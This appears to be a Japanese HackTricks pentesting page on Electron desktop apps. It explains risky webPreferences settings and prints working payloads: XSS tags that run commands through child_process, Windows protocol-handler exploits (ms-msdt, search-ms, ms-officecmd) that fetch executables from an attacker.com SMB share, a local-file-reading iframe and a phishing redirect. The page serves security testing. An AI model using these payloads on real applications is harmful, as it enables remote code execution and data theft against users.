405 lines
24 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introduction
Electronは、ローカルバックエンド**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。
通常、Electronアプリのコードは`.asar`アプリケーション内に見つかります。コードを取得するには、抽出する必要があります:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electronアプリのソースコード内の`packet.json`には、セキュリティ設定が行われている`main.js`ファイルが指定されています。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electronには2つのプロセスタイプがあります
- メインプロセスNodeJSへの完全なアクセス権を持つ
- レンダラープロセスセキュリティ上の理由からNodeJSへのアクセスが制限されるべき
![](<../../../images/image (182).png>)
**レンダラープロセス**は、ファイルを読み込むブラウザウィンドウになります:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process**の設定は、main.jsファイル内の**main process**で**設定**できます。いくつかの設定は、**設定が正しく構成されている**場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを**防ぐ**ことができます。
Electronアプリケーションは、Node APIを介して**デバイスにアクセス**することができますが、それを防ぐように構成することもできます:
- **`nodeIntegration`** - デフォルトでは`off`です。オンの場合、renderer processからNode機能にアクセスできます。
- **`contextIsolation`** - デフォルトでは`on`です。オフの場合、mainとrendererプロセスは隔離されません。
- **`preload`** - デフォルトでは空です。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - デフォルトではオフです。NodeJSが実行できるアクションを制限します。
- WorkersにおけるNode Integration
- **`nodeIntegrationInSubframes`** - デフォルトでは`off`です。
- **`nodeIntegration`**が**有効**になっている場合、これはElectronアプリケーション内のiframeで**読み込まれた**ウェブページで**Node.js APIs**を使用することを許可します。
- **`nodeIntegration`**が**無効**になっている場合、preloadはiframe内で読み込まれます。
設定の例:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
いくつかの **RCEペイロード** は [here](https://7as.es/electron/nodeIntegration_rce.txt) から:
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### トラフィックのキャプチャ
start-main構成を変更し、次のようなプロキシの使用を追加します:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法は以下を確認してください
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
**nodeIntegration**が**on**に設定されている場合、ウェブページのJavaScriptは`require()`を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
この設定で示されたスクリプトは、**レンダラー内の他のスクリプトの前に読み込まれ**、したがって**Node APIへの無制限のアクセスを持ちます**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
したがって、スクリプトはnode-featuresをページにエクスポートできます
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **`contextIsolation`がオンの場合、これは機能しません**
## RCE: XSS + contextIsolation
_**contextIsolation**_ は、**ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入**し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。
コンテキストが分離されていない場合、攻撃者は以下のことができます:
1. **レンダラーで任意のJavaScriptを実行**XSSまたは外部サイトへのナビゲーション
2. **プリロードまたはElectron内部コードで使用される組み込みメソッドを上書き**して独自の関数にする
3. **上書きされた関数の使用をトリガー**
4. RCE
組み込みメソッドを上書きできる場所は2つありますプリロードコードまたはElectron内部コード
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### クリックイベントのバイパス
リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりに**ミドルクリック**を行うことでそれをバイパスできるかもしれません。
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
この例に関する詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を確認してください。
Electronデスクトップアプリケーションを展開する際には、`nodeIntegration` と `contextIsolation` の設定が正しいことを確認することが重要です。**クライアント側のリモートコード実行 (RCE)** がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。
ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
これらのリスナーは**デスクトップアプリケーションによってオーバーライドされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、`openInternally`という関数を通じて行われます。この関数が`false`を返す場合、リンクは外部で開くべきであることを示し、`shell.openExternal`関数を利用します。
**以下は簡略化された擬似コードです:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JSのセキュリティベストプラクティスは、`openExternal`関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例やさらなる説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。
macOSでは、`openExternal`関数を悪用して、`shell.openExternal('file:///System/Applications/Calculator.app')`のように任意のコマンドを実行できます。
**Windowsプロトコルの悪用の例には**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## 内部ファイルの読み取り: XSS + contextIsolation
**`contextIsolation`を無効にすると、ローカルファイルを読み取るために`<webview>`タグを使用できるようになります**。これは`<iframe>`に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
さらに、**内部ファイルを読み取る**ための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用してデータを抽出するためのスクリプトを注入することが含まれます:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
アプリケーションで使用されている**chromium**が**古い**場合、**既知の****脆弱性**があると、**XSSを通じてそれを悪用しRCEを取得する**ことが可能かもしれません。\
この**writeup**の例を参照してください: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
XSSを見つけたが、**RCEをトリガーできないか内部ファイルを盗むことができない**場合、**フィッシングを通じて資格情報を盗む**ためにそれを使用することを試みることができます。
まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`**への呼び出しは、**リンク**がプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で**開かれる**か、**ブラウザで3rdパーティリソース**として**開かれる**かを決定します。
関数で使用される**regex**が**バイパスに対して脆弱**な場合(例えば、**サブドメインのドットをエスケープしていない**場合、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する**新しいウィンドウを開き**、ユーザーに**認証情報を要求**することができます。
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## リモートモジュール
Electronのリモートモジュールは、**レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし**、Electronアプリケーション内での通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティングXSS攻撃などの脆弱性に対してより脆弱になります。
> [!TIP]
> **リモート**モジュールはメインからレンダラープロセスへのいくつかのAPIを公開しますが、コンポーネントを悪用するだけではRCEを得るのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。
> [!WARNING]
> まだリモートモジュールを使用している多くのアプリは、レンダラープロセスで**NodeIntegrationを有効にする必要がある**方法で行っており、これは**巨大なセキュリティリスク**です。
Electron 14以降、Electronの`remote`モジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にされる可能性があり、**使用しないことが推奨されています**。
それを有効にするには、まず**メインプロセスで有効にする必要があります**
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
その後、レンダラープロセスはモジュールからオブジェクトをインポートできます。
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[ブログ記事](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、リモートモジュールのオブジェクト **`app`** によって公開されているいくつかの興味深い **関数** を示しています:
- **`app.relaunch([options])`**
- **現在のインスタンスを終了**し、新しいインスタンスを**起動**することでアプリケーションを**再起動**します。**アプリの更新**や重要な**状態変更**に便利です。
- **`app.setAppLogsPath([path])`**
- **アプリログ**を保存するためのディレクトリを**定義**または**作成**します。ログは **`app.getPath()`** または **`app.setPath(pathName, newPath)`** を使用して**取得**または**変更**できます。
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- 指定された**プロトコル**の**デフォルトハンドラー**として現在の実行可能ファイルを**登録**します。必要に応じて**カスタムパス**と**引数**を提供できます。
- **`app.setUserTasks(tasks)`**
- **ジャンプリスト**の**タスクカテゴリ**にタスクを**追加**しますWindows。各タスクはアプリがどのように**起動**されるか、またはどの**引数**が渡されるかを制御できます。
- **`app.importCertificate(options, callback)`**
- システムの**証明書ストア**に**PKCS#12証明書**を**インポート**しますLinuxのみ。**コールバック**を使用して結果を処理できます。
- **`app.moveToApplicationsFolder([options])`**
- アプリケーションを**アプリケーションフォルダ**に**移動**しますmacOS。Macユーザーのための**標準インストール**を確保するのに役立ちます。
- **`app.setJumpList(categories)`**
- **Windows**で**カスタムジャンプリスト**を**設定**または**削除**します。タスクがユーザーにどのように表示されるかを整理するために**カテゴリ**を指定できます。
- **`app.setLoginItemSettings(settings)`**
- **ログイン**時に起動する**実行可能ファイル**とその**オプション**を**構成**しますmacOSおよびWindowsのみ
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences モジュール
Electron におけるシステム設定にアクセスし、システムイベントを発信するための **主要な API**。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および **setUserDefault** のようなメソッドはすべてこのモジュールの **一部** です。
**使用例:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **ネイティブmacOS通知**をNSDistributedNotificationCenterを使用して**リッスン**します。
* **macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで**すべての**分散通知をスニッフィングできました。
* **Catalina / Big Sur**以降、サンドボックスアプリは、通知を**名前**で登録することにより、**多くのイベント**(例えば、**画面のロック/ロック解除**、**ボリュームのマウント**、**ネットワークアクティビティ**など)に**サブスクライブ**できます。
### **getUserDefault / setUserDefault**
* **NSUserDefaults**と**インターフェース**し、macOS上の**アプリケーション**または**グローバル**な設定を保存します。
* **getUserDefault**は、**最近のファイルの場所**や**ユーザーの地理的位置**などの機密情報を**取得**できます。
* **setUserDefault**は、これらの設定を**変更**でき、アプリの**構成**に影響を与える可能性があります。
* **古いElectronバージョン**v8.3.0以前)では、**標準スイート**のNSUserDefaultsのみが**アクセス可能**でした。
## Shell.showItemInFolder
この関数は、指定されたファイルをファイルマネージャーで表示し、**ファイルを自動的に実行する可能性があります**。
詳細については、[https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)を確認してください。
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity)は、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するツールです。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint)は、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)は、脆弱なサードパーティライブラリをチェックします。
- [**Electro.ng**](https://electro.ng/): 購入が必要です。
## Labs
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)では、脆弱なElectronアプリを悪用するためのラボを見つけることができます。
ラボを手助けするいくつかのコマンド:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **参考文献**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electronのセキュリティに関するさらなる研究と記事は[https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)で確認できます。
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}